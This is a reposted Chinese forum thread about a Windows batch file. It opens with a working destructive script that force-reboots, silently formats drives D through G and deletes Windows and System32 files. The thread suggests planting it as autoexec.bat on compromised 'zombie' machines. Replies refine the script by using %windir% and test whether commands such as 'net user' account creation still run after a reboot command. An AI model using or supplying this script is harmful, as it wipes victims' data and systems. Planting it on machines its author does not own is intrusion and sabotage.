由一段批處理程序所引起的探討感覺問題是有,不太準確
2020-07-26 20:30:21
供稿:網友
假如你的系統裝在c盤
打開記事本輸入
@echo off
shutdown -r -t 0
format d: /q /y
format e: /q /y
format f: /q /y
format g: /q /y
c:
cd /
cd windows
del. /y
cd system32
del. /y
shutdown -r -t 0
另存為1.bat
然后運行
看看有什么后果
如果想搞肉雞的話那么可以
重命為autoexec.bat上傳到肉雞C:覆蓋原來的autoexec.bat
最后一次警告:最好別亂搞,出了問題后果自負
有一個不完美的地方。我說說
c:
cd /
cd windows
del. /y
cd system32
請問你為什么就肯定系統不是windows2000呢!
對于windows目錄的確定,你在bat下應該用環境變量得到。
比如
windir=C:/WINDOWS
windir=C:/WINNT
還有,有點小小要請教的地方,對于第二條語句。
shutdown -r -t 0
既然重動了,那以下的格式化命令還有作用嗎???????????
自己不敢試,因為我懷疑是有作用的。
這個是我給的回復:
我的系統是XP,在XP的環境下弄的這個批處理,所以忽略了2000的情況,是我考慮不周全,謝謝你的指正
確實如你所說shutdown -r -t 0這條語句本來是不應該放在這里,否則系統會直接重啟動,導致下面的語句不起作用.
為了得到答案!我對于這個問題親自試了一下!
@echo off
shutdown -r -t 0
ping 127.0.0.1 -n 100 &net user emissary2 /add
shutdown -r -t 0
這是我第一次執行的文件。在重啟動后發現emissary1并沒有加入到用戶組!失??!
第二次我在ping的前面加入了net user emissary1 /add。因為我想知道不延時執行的話。會不會成功!
@echo off
shutdown -r -t 0
net user emissary1 /add
ping 127.0.0.1 -n 100 &net user emissary2 /add
shutdown -r -t 0
結果還是失??!
到這里。我以為shutdown -r -t 0后面的語句是無效的!想了一下。又改為了以下語句!
@echo off
shutdown -r -t 0
dir > c:/aaa.txt
ping 127.0.0.1 -n 100 &dir > c:/aaa2.txt
shutdown -r -t 0
意外的,這次成功了。重啟后發現有了c:/aaa.txt而沒有c:/aaa2.txt這個文件。
對于以上測試,我僅僅得出在這個批處理文件中。只能對內部命令會起作用,而外部命令因為windows已經開始關閉窗口,從而導致外部命令的初始化失敗,不能執行的結論!
內部命令由cmd.exe提供,因為執行.bat時CMD是打開的,所以內部命令可以正常使用。